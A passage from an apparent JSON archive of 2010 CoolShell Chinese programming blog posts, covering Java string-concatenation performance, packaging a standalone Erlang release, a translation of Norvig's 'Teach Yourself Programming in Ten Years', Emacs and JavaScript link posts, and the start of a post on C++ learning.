\tStringBuilder concatTestSbu = null;\n  \t \n  \tfor (int outerIndex=0;outerIndex<=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringAddConcat\");\n  \t    addTestStr = \"\";\n  \t    for (int innerIndex=0;innerIndex<=INNER_ITERATION;innerIndex++)\n  \t    addTestStr += \"*\";\n  \t    stopWatch.stop();\n  \t}       \n  \t \n  \tfor (int outerIndex=0;outerIndex<=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringConcat\");\n  \t    concatTestStr = \"\";\n  \t    for (int innerIndex=0;innerIndex<=INNER_ITERATION;innerIndex++)\n  \t    concatTestStr.concat(\"*\");\n  \t    stopWatch.stop();\n  \t}\n  \t \n  \tfor (int outerIndex=0;outerIndex<=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringBufferConcat\");\n  \t    concatTestSb = new StringBuffer();\n  \t    for (int innerIndex=0;innerIndex<=INNER_ITERATION;innerIndex++)\n  \t    concatTestSb.append(\"*\");\n  \t    stopWatch.stop();\n  \t}\n  \t \n  \tfor (int outerIndex=0;outerIndex<=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringBuilderConcat\");\n  \t    concatTestSbu = new StringBuilder();\n  \t    for (int innerIndex=0;innerIndex<=INNER_ITERATION;innerIndex++)\n  \t    concatTestSbu.append(\"*\");\n  \t    stopWatch.stop();\n  \t}\n\n```\n\n接下来通过运行程序来生成性能指标。我的运行环境是64位的Windown7操作系统，32位的JVM(7-ea) 带4GB内存，双核Quad 2.00GHz的CPU的机器.\n\n\n经过20次迭代后，我们得到如下的数据：  \n\n![](../wp-content/uploads/2010/03/String_Perf_Chart_217.png \"结果\")\n\n\n结果非常完美如我们想象的那样。唯一比较有趣的事情是为什么String.concat也很不错，我们都知道，String是一个常类（初始化后就不会改变的类），那么为什么concat的性能会更好一些呢。(**译者注**：其实原文作者的测试代码有问题，对于concat()方法的测试代码应该写成concatTestStr=concatTestStr.concat(“\\*”)才对。)为了回答这个问题，我们应该看看concat反编译出来的字节码。在本文的下载包里面包含了所有的字节码，但是现在我们先看一下concat的这个代码片段：\n\n\n\n```\n\n    46:  new #6; //class java/lang/StringBuilder\n    49:  dup\n    50:  invokespecial   #7; //Method java/lang/StringBuilder.\"<init>\":()V\n    53:  aload_1\n    54:  invokevirtual   #8; //Method java/lang/StringBuilder.append:\n             (Ljava/lang/String;)Ljava/lang/StringBuilder;\n    57:  ldc #9; //String *\n    59:  invokevirtual   #8; //Method java/lang/StringBuilder.append:\n             (Ljava/lang/String;)Ljava/lang/StringBuilder;\n    62:  invokevirtual   #10; //Method java/lang/StringBuilder.toString:()\n             Ljava/lang/String;\n    65:  astore_1\n    66:  iinc    7, 1\n    69:  goto    38\n\n```\n\n这段代码是String.concat()的字节码，从这段代码中，我们可以清楚的看到，concat()方法使用了StringBuilder，concat()的性能应该和StringBuilder的一样好，但是由于额外的创建StringBuilder和做.append(str).append(str).toString()的操作，使得concate的性能会受到一些影响，所以StringBuilder和String Cancate的时间是1.8和3.3。\n\n\n因此，即时在做最简单的拼接时，如果我们不想创建StringBuffer或StringBuilder实例使，我们也因该使用concat。但是对于大量的字符串拼接操作，我们就不应该使用concat(**译者注：**因为测试代码功能上并不完全等价，更换后的测试代码concat的平均处理时间是1650.9毫秒。这个结果在原文的评论里面。)，因为concat会降低你程序的性能，消耗你的cpu。因此，在不考虑线程安全和同步的情况下，为了获得最高的性能，我们应尽量使用StringBuilder\n\n\n本文的源代码，编译目标文件和字节码可以通过下面的这个链接获得：\n\n\n下载源代码，类和字节码：String\\_Concatenation \\_Performance.zip\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [JAVA的字符串拼接与性能](https://coolshell.cn/articles/2235.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-3 erlang打包独立环境.md",
    "content": "---\nlayout: post\ntitle: erlang打包独立环境\ndate: 2010/3/3/ 18:55:13\nupdated: 2010/3/3/ 18:55:13\nstatus: publish\npublished: true\ntype: post\n---\n\n最近公司代码需要在非erlang的系统上执行，需要能在独立的环境里运行erlang。研究甚久，于是写下这篇博文。国内用erlang的朋友不多，希望这篇blog能对有需要的朋友起到参考作用。\n\n\n\n> Application-Vsn/ebin  \n> \n> /include  \n> \n> /priv  \n> \n> /src  \n> \n> /Application-Vsn.rel\n> \n> \n\n\n以上是代码的目录表.\n\n\n\n> {release, {“nextim”, “2.0”},  \n> \n> {erts, “5.7.5”},  \n> \n> [{kernel, “2.12.3”},  \n> \n> {stdlib, “1.15.3”},  \n> \n> {sasl, “2.1.5.3”}]  \n> \n> }.\n> \n> \n\n\n以上是Application-Vsn.rel的内容,[]中是代码本身需要的lib。\n\n\n\n1.执行erl -pa ./ebin . 这一步会生成nextim-2.boot文件\n\n\n\n> 1> systools:make\\_script(nextim-2″, [local]).  \n> \n> ok\n> \n> \n\n\n2.erl -boot nextim-2 . 这一步会生成nextim-2.tar.gz\n\n\n\n> systools:make\\_tar(“nextim-2”).\n> \n> \n\n\n3.现在建议把tar.gz文件放到独立的路径里 这样不会影响Application-Vsn文件夹 ，然后解压 并进入目录， 复制erlang系统目录里的 erts-5.7.5 到当前目录\n\n\n4.建立bin文件夹 复制  `erts-5.7.5/bin/start` 到 `bin/ 编辑 bin/start 改 ROOTDIR为当前目录的路径`\n\n\n5.复制`erts-5.7.5/bin/run_erl` `和` `erts-5.7.2/bin/erl` `到 bin 并且如同上一步一样修改ROOTDIR.`\n\n\n6.复制 `$ERLDIR/bin/start_sasl.boot` 到  `bin/start.boot`.\n\n\n7. `echo` `\"5.7.5` `2.0\"` `>` `releases/start_erl.data`.\n\n\n6.执行bin文件里的erl\n\n\n\n> release\\_handler:create\\_RELEASES(“$ROOTDIR”, “$ROOTDIR/releases/”, “$ROOTDIR/releases/nextim-2.rel”, []).\n> \n> \n\n\n7.再把自己的项目文件复制到lib中  然后启动时 -pa参数是 lib文件夹. 完成这一步，就能独立出erlang环境了。\n\n\n以上内容 参考自\n\n\nhttp://spawnlink.com/articles/an-introduction-to-releases-with-erlybank/\n\n\nhttp://streamhacker.com/2009/07/02/how-to-create-an-erlang-first-target-system/\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/1516.html)[mochiweb参数化模型Req相关功能](https://coolshell.cn/articles/1516.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/1313.html)[Erlang和Python互通](https://coolshell.cn/articles/1313.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![MySQL性能优化的最佳20+条经验](../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg)](https://coolshell.cn/articles/1846.html)[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/4535.html)[一些软件设计的原则](https://coolshell.cn/articles/4535.html)\nThe post [erlang打包独立环境](https://coolshell.cn/articles/2111.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-30 “21天教你学会C++”.md",
    "content": "---\nlayout: post\ntitle: “21天教你学会C++”\ndate: 2010/3/30/ 0:27:27\nupdated: 2010/3/30/ 0:27:27\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个《Teach Yourself  C++ in 21 Days》的流程图，请各位程序员同仁认真领会。如果有必要，你可以查看这个图书以作参照：<http://www.china-pub.com/27043>\n\n\n[![](../wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg \"Teach Youself C++ 21 Days\")](https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg)\n\n\n看完上面这个图片，我在想，我学习C++有12年了，好像C++也没有学得特别懂，看到STL和泛型，还是很头大。不过，我应该去考虑研究量子物理和生物化学，这样，我才能重返98年杀掉还在大学的我，然后达到21天搞定C++的目标。另外，得要特别提醒刚刚开始学习C++的朋友，第21天的时候，小心被人杀害。呵呵。\n\n\n当然，上面只是一个恶搞此类图片，学习一门技术，需要你很长的时间，正如图片中的第三图和第四图所示，你需要用十年的时间去不断在尝试，并在错误中总结经验教训，以及在项目开发中通过与别人相互沟通互相学习来历练自己。你才能算得上是真正学会。\n\n\n这里有篇文章叫《[**Teach Yourself Programming in Ten Years**](http://norvig.com/21-days.html)》，网上有人翻译了一下，不过原文已被更新了，我把网上的译文转载并更新如下：\n\n\n\n### \n\n\n### 用十年来学编程\nPeter Norvig\n\n\n\n#### 为什么每个人都急不可耐？\n\n\n走进任何一家书店，你会看见《Teach Yourself Java in 7 Days》（7天Java无师自通）的旁边是一长排看不到尽头的类似书籍，它们要教会你Visual Basic、Windows、Internet等等，而只需要几天甚至几小时。我在[Amazon.com](http://www.amazon.com/)上进行了如下[搜索](http://www.amazon.com/exec/obidos/tg/browse/-/468558/104-5938873-6579160)：\n\n[pubdate: after 1992 and title: days and (title: learn or title: teach yourself)](http://www.amazon.com/exec/obidos/search-handle-url/ix=books&rank=%2Bfeaturedrank&fqp=power%01pubdate%3A%20after%201992%20and%20title%3A%20days%20and%0D%20%28title%3A%20learn%20or%20title%3A%20teach%20yourself%29&sz=25&pg=1/ref=s_b_np) (出版日期：1992年后 and 书名：天 and （书名：学会 or 书名：无师自通）)\n\n我一共得到了248个搜索结果。前面的78个是计算机书籍（第79个是《[Learn Bengali in 30 days](http://www.amazon.com/exec/obidos/ASIN/0781802245/)》，30天学会孟加拉语）。我把关键词“days”换成“[hours](http://www.amazon.com/exec/obidos/search-handle-url/ix=books&rank=%2Bfeaturedrank&fqp=power%01pubdate%3A%20after%201992%20and%20title%3A%20hours%20and%0D%20%28title%3A%20learn%20or%20title%3A%20teach%20yourself%29&sz=25&pg=3/ref=s_b_np)”，得到了非常相似的结果：这次有253本书，头77本是计算机书籍，第78本是《[Teach Yourself Grammar and Style in 24 Hours](http://www.amazon.com/exec/obidos/ASIN/0028638999/)》（24小时学会文法和文体）。头200本书中，有96%是计算机书籍。\n\n结论是，要么是人们非常急于学会计算机，要么就是不知道为什么计算机惊人地简单，比任何东西都容易学会。没有一本书是要在几天里教会人们欣赏贝多芬或者量子物理学，甚至怎样给狗打扮。在《*[How to Design Programs](http://www.ccs.neu.edu/home/matthias/HtDP2e/index.html)*》这本书里说“*Bad programming is easy. Idiots can learn it in 21 days, even if they are dummies.”* （坏的程序是很容易的，就算他们是笨蛋白痴都可以在21天内学会。）\n\n让我们来分析一下像《[Learn C++ in Three Days](http://www.amazon.com/Learn-C-Three-Days-Rachele/dp/1556227078)》（3天学会C++）这样的题目到底是什么意思：\n* **学会**：在3天时间里，你不够时间写一些有意义的程序，并从它们的失败与成功中学习。你不够时间跟一些有经验的程序员一起工作，你不会知道在C++那样的环境中是什么滋味。简而言之，没有足够的时间让你学到很多东西。所以这些书谈论的只是表面上的精通，而非深入的理解。如Alexander Pope（英国诗人、作家，1688-1744）所言，**一知半解是危险的（a little learning is a dangerous thing）**\n* **C++**：在3天时间里你可以学会C++的语法（如果你已经会一门类似的语言），但你无法学到多少如何运用这些语法。简而言之，如果你是，比如说一个Basic程序员，你可以学会用C++语法写出Basic风格的程序，但你学不到C++真正的优点（和缺点）。那关键在哪里？Alan Perlis（ACM第一任主席，图灵奖得主，1922-1990）曾经说过：“**如果一门语言不能影响你对编程的想法，那它就不值得去学**”。另一种观点是，有时候你不得不学一点C++（更可能是javascript和Flash Flex之类）的皮毛，因为你需要接触现有的工具，用来完成特定的任务。但此时你不是在学习如何编程，你是在学习如何完成任务。\n* **3天**：不幸的是，这是不够的，正如下一节所言。\n\n\n#### 10年学编程\n\n\n一些研究者（[Bloom (1985)](http://www.amazon.com/exec/obidos/ASIN/034531509X/), [Bryan & Harter (1899)](http://norvig.com/21-days.html#bh), [Hayes (1989)](http://www.amazon.com/exec/obidos/ASIN/0805803092), [Simmon & Chase (1973)](http://norvig.com/21-days.html#sc)）的研究表明，在许多领域，都需要大约10 年时间才能培养出专业技能，包括国际象棋、作曲、绘画、钢琴、游泳、网球，以及神经心理学和拓扑学的研究。似乎并不存在真正的捷径：即使是莫扎特，他4 岁就显露出音乐天才，在他写出世界级的音乐之前仍然用了超过13年时间。再看另一种音乐类型的披头士，他们似乎是在1964年的Ed Sullivan节目中突然冒头的。但其实他们从1957年就开始表演了，即使他们很早就显示出了巨大的吸引力，他们第一次真正的成功——Sgt. Peppers——也要到1967年才发行。[Malcolm Gladwell](http://www.amazon.com/Outliers-Story-Success-Malcolm-Gladwell/dp/0316017922) 研究报告称，把在伯林音乐学院学生一个班的学生按水平分成高中低，然后问他们对音乐练习花了多少工夫：\n\n> 在这三个小组中的每一个人基本上都是从相同的时间开始练习的（在五岁的时候）。在开始的几年里，每个人都是每周练习2-3个小时。但是在八岁的时候，练习的强度开始显现差异。在这个班中水平最牛的人开始比别人练习得更多——在九岁的时候每周练习6个小时，十二岁的时候，每周8个小时，十四岁的时候每周16个小时，并在成长过程中练习得越来越多，到20岁的时候，其每周练习可超过30个小时。到了20岁，这些优秀者在其生命中练习音乐总共超过 10,000 小时。与之对比，其它人只平均有8,000小时，而未来只能留校当老师的人仅仅是4,000 小时。\n> \n> \n\n\n所以，这也许需要10,000 小时，并不是十年，但这是一个magic number。Samuel Johnson（英国诗人）认为10 年还是不够的：“**任何领域的卓越成就都只能通过一生的努力来获得；稍低一点的代价也换不来。**”（Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price.） 乔叟（Chaucer，英国诗人，1340-1400）也抱怨说：“**生命如此短暂，掌握技艺却要如此长久。**”（the lyf so short, the craft so long to lerne.）\n\n下面是我在编程这个行当里获得成功的处方：\n* 对编程感兴趣，因为乐趣而去编程。确定始终都能保持足够的乐趣，以致你能够将10年时间投入其中。\n* 跟其他程序员交谈；阅读其他程序。这比任何书籍或训练课程都更重要。\n* 编程。最好的学习是[从实践中学习](http://www.engines4ed.org/hyperbook/nodes/NODE-120-pg.html)。用更加技术性的语言来讲，“个体在特定领域最高水平的表现不是作为长期的经验的结果而自动获得的，但即使是非常富有经验的个体也可以通过刻意的努力而提高其表现水平。”（[p. 366](http://www2.umassd.edu/swpi/DesignInCS/expertise.html)），而且“最有效的学习要求为特定个体制定适当难度的任务，有意义的反馈，以及重复及改正错误的机会。”（p. 20-21）《[Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life](http://www.amazon.com/exec/obidos/ASIN/0521357349)》（在实践中认知：心智、数学和日常生活的文化）是关于这个观点的一本有趣的参考书。\n* 如果你愿意，在大学里花上4年时间（或者再花几年读研究生）。这能让你获得一些工作的入门资格，还能让你对此领域有更深入的理解，但如果你不喜欢进学校，（作出一点牺牲）你在工作中也同样能获得类似的经验。在任何情况下，单从书本上学习都是不够的。“计算机科学的教育不会让任何人成为内行的程序员，正如研究画笔和颜料不会让任何人成为内行的画家”, Eric Raymond，《The New Hacker’s Dictionary》（新黑客字典）的作者如是说。我曾经雇用过的最优秀的程序员之一仅有高中学历；但他创造出了许多伟大的软件（[XEmacs](http://www.xemacs.org/), [Mozilla](http://www.mozilla.org/)），甚至有讨论他本人的[新闻组](http://groups.google.com/groups?q=alt.fan.jwz&meta=site%3Dgroups)，而且股票期权让他达到我无法企及的[富有程度](http://en.wikipedia.org/wiki/DNA_Lounge)（译注：指Jamie Zawinski，Xemacs和Netscape的作者）。\n* 跟别的程序员一起完成项目。在一些项目中成为最好的程序员；在其他一些项目中当最差的一个。当你是最好的程序员时，你要测试自己领导项目的能力，并通过你的洞见鼓舞其他人。当你是最差的时候，你学习高手们在做些什么，以及他们不喜欢做什么（因为他们让你帮他们做那些事）。\n* 接手别的程序员完成项目。用心理解别人编写的程序。看看在没有最初的程序员在场的时候理解和修改程序需要些什么。想一想怎样设计你的程序才能让别人接手维护你的程序时更容易一些。\n* 学会至少半打编程语言。包括一门支持类抽象（class abstraction）的语言（如Java或C++），一门支持函数抽象（functional abstraction）的语言（如Lisp或ML），一门支持句法抽象（syntactic abstraction）的语言（如Lisp），一门支持说明性规约（declarative specification）的语言（如Prolog或C++模版），一门支持协程（coroutine）的语言（如Icon或Scheme），以及一门支持并行处理（parallelism）的语言（如Sisal）。\n* 记住在“计算机科学”这个词组里包含“计算机”这个词。了解你的计算机执行一条指令要多长时间，从内存中取一个word要多长时间（包括缓存命中和未命中的情况），从磁盘上读取连续的数据要多长时间，定位到磁盘上的新位置又要多长时间。（[答案在这里](http://norvig.com/21-days.html#answers)）\n* 尝试参与到一项语言标准化工作中。可以是ANSI C++委员会，也可以是决定自己团队的编码风格到底采用2个空格的缩进还是4个。不论是哪一种，你都可以学到在这门语言中到底人们喜欢些什么，他们有多喜欢，甚至有可能稍微了解为什么他们会有这样的感觉。\n* 拥有尽快从语言标准化工作中抽身的良好判断力。\n\n\n抱着这些想法，我很怀疑从书上到底能学到多少东西。在我第一个孩子出生前，我读完了所有“怎样……”的书，却仍然感到自己是个茫无头绪的新手。30个月后，我第二个孩子出生的时候，我重新拿起那些书来复习了吗？不。相反，我依靠我自己的经验，结果比专家写的几千页东西更有用更靠得住。\n\n\nFred Brooks在他的短文《[No Silver Bullets](http://en.wikipedia.org/wiki/No_Silver_Bullet)》（没有银弹）中确立了如何发现杰出的软件设计者的三步规划：\n\n\n* 尽早系统地识别出最好的设计者群体。\n* 指派一个事业上的导师负责有潜质的对象的发展，小心地帮他保持职业生涯的履历。\n* 让成长中的设计师们有机会互相影响，互相激励。\n\n\n这实际上是假定了有些人本身就具有成为杰出设计师的必要潜质；要做的只是引导他们前进。[Alan Perlis](http://www-pu.informatik.uni-tuebingen.de/users/klaeren/epigrams.html)说得更简洁：“每个人都可以被教授如何雕塑；而对米开朗基罗来说，能教给他的倒是怎样能够不去雕塑。杰出的程序员也一样”。\n\n\n所以尽管去买那些Java书；你很可能会从中找到些用处。但你的生活，或者你作为程序员的真正的专业技术，并不会因此在24小时、24天甚至24个月内发生真正的变化。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![“C++的数组不支持多态”？](../wp-content/uploads/2013/04/weibo-150x150.jpg)](https://coolshell.cn/articles/9543.html)[“C++的数组不支持多态”？](https://coolshell.cn/articles/9543.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5388.html)[C语言中史上最愚蠢的Bug](https://coolshell.cn/articles/5388.html)\nThe post [“21天教你学会C++”](https://coolshell.cn/articles/2250.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-31 Emacs配色在线生成器.md",
    "content": "---\nlayout: post\ntitle: Emacs配色在线生成器\ndate: 2010/3/31/ 1:15:19\nupdated: 2010/3/31/ 1:15:19\nstatus: publish\npublished: true\ntype: post\n---\n\n<http://alexpogosyan.com/color-theme-creator/>\n\n\n点击“Generate config file”，你可以看到生成的Emacs配色配置。\n\n\n![](../wp-content/uploads/2010/03/emacs_color_theme.jpg \"Emacs Color Theme Creator\")\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些杂项资源](../wp-content/uploads/2010/12/ediff-small-150x150.png)](https://coolshell.cn/articles/3437.html)[一些杂项资源](https://coolshell.cn/articles/3437.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/3136.html)[chmod -x chmod的N种解法](https://coolshell.cn/articles/3136.html)\n* [![主流文本编辑器学习曲线](../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg)](https://coolshell.cn/articles/3125.html)[主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1626.html)[ldd 的一个安全问题](https://coolshell.cn/articles/1626.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/435.html)[Python中实现多属性排序](https://coolshell.cn/articles/435.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/428.html)[程序员需要具备的基本技能](https://coolshell.cn/articles/428.html)\nThe post [Emacs配色在线生成器](https://coolshell.cn/articles/2271.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-31 又一个Javascript试验田.md",
    "content": "---\nlayout: post\ntitle: 又一个Javascript试验田\ndate: 2010/3/31/ 4:41:32\nupdated: 2010/3/31/ 4:41:32\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站发布过一篇《[哥是玩程序的](https://coolshell.cn/articles/1932.html)》文章向大家展示了用Javascript干的些怪异的事。看来，这样的人并不在少数，这不，我又发现了一个，这回这个好像更有技术含量一些，下面是其试验程序的列表：\n\n\n<http://www.andrew-hoyer.com/experiments>\n\n\n\n\n|  |  |\n| --- | --- |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/sudoku) | [Simple Sudoku Solver](http://www.andrew-hoyer.com/experiments/sudoku) 这是一个“数独游戏”，其在你游戏的过程中可以在空格处提示你可能的数字。\nFebruary 2010 |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/cloth) | [Cloth Simulation](http://www.andrew-hoyer.com/experiments/cloth) 这是一个极端的布料仿真程序。使用鼠标拖曳，按着g键拖曳可以把布悬挂起来。\nAugust 2009 |\n\n\n\n\n\n|  |  |\n| --- | --- |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/numbers) | [Numbers to Words](http://www.andrew-hoyer.com/experiments/numbers) 这是一个把阿拉伯数字变成英文说明的演示。\nJune 2009 |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/particle_system) | [N-Bodies Particle System](http://www.andrew-hoyer.com/experiments/particle_system) 可以模拟物理学上的原子核与电子圆周运动的的样子。\nApril 2009 |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/quantum_cryptography) | [Quantum Cryptography](http://www.andrew-hoyer.com/experiments/quantum_cryptography) 一篇文章介绍了什么叫“量子加密”。\nMarch 2009 |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/dripsessions) | [Drip Sessions](http://www.andrew-hoyer.com/experiments/dripsessions) 一个流淌的效果。\nFebruary 2009 |\n| [Bacon and Eggs Thumbnail](http://www.andrew-hoyer.com/experiments/robotarm) | [Robotic Arm](http://www.andrew-hoyer.com/experiments/robotarm) 一个机械手臂的演示程序。\nDecember 2008 |\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [又一个Javascript试验田](https://coolshell.cn/articles/2276.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-1 C++ 程序员自信心曲线图.md",
    "content": "---\nlayout: post\ntitle: C++ 程序员自信心曲线图\ndate: 2010/4/1/ 1:2:15\nupdated: 2010/4/1/ 1:2:15\nstatus: publish\npublished: true\ntype: post\n---\n\n学习C++很长时间了，也看过很多程序员学习C++的历程。总体来说，C++是一个“双刃剑”式的语言，只有那些熟悉他的人才能把C++这门语言用好。Linus曾说过：“**C++是一门很[恐怖的语言](https://coolshell.cn/articles/1724.html)，而比它更恐怖的是很多不合格的程序员在使用着它**”。是的，C++并不是一门速成的语言，其是一门需要长时间磨练和学习的语言，那些说自己熟悉C++语言的程序只能算是轻浮的。详见[“21天教你学会C++ ”](https://coolshell.cn/articles/2250.html \"“21天教你学会C++”\")。\n\n\n下面是一个C++程序员在学习过程序中的一个自信心曲线图：\n\n\n[![](../wp-content/uploads/2010/03/c++.png \"C++ 程序员自信心曲线图\")](https://coolshell.cn/wp-content/uploads/2010/03/c++.png) \n\n\n程序员在一开始学习C++的时候，用C++的语法写C觉得很牛，也会觉得自己很快掌握了C++语言，对一切都充满了信心。他们告诉你他们懂C++，其它他们错误，但我们不能说他们在撒谎，因为人总是不知道自己不知道什么。此后，当他们在C++的学习历程中，发现了很多很多稀奇古怪的东西，还有很多相当底层和复杂的东西，他们的将会变得很受挫，很沮丧，还始变得怀疑起，自信心开始下降，甚至有时候他们靠人品来编程。只到有一天，开始开窃，觉得C++的世界不能乱来，需要一定的规则，一定的方法，于是通过大量的错误不停地总结和反省，最终自信心又会被建立起来，[经历多年的历练后](https://coolshell.cn/articles/2250.html)，才能恢复自信。\n\n\n对于大多数的自称自己熟悉C++的程序员来说，基本上来说他们都是用C++的语法来写C。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* 